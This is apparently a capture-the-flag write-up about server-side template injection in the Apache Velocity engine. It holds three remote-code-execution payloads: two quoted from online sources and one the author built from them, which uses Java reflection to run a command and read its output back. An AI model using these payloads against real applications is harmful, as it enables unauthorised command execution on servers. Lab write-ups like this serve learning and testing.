I did a challenge on HTB these days, which involved Velocity SSTI. After trying various payloads found online, I discovered that they all had different drawbacks or were basically unusable. So, I am documenting the payload I modified myself, which can provide an echo.
The challenge provides the source code, which obviously contains SSTI.
Payload 1 found online:
#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
This payload uses reflection to get the runtime, but it doesn't provide an echo. It doesn't work well in this target machine's offline environment.
Payload 2:
This is the payload provided by hacktrick, which theoretically provides an echo.
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
The $class and $inspect have significant limitations and cannot be used for RCE in this challenge.
Based on Payload 1, achieving an echo through reflection:
#set($f="e".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc"))
#set($a=$f.waitFor())
#set($out=$f.getInputStream())
#set($str="e".getClass().forName("java.lang.String"))
$str.newInstance().valueOf($out.read())
$str.newInstance().valueOf($out.read())
The echo produced by this payload is given in decimal. You can either run it through cyberchef or write a loop to convert it to characters.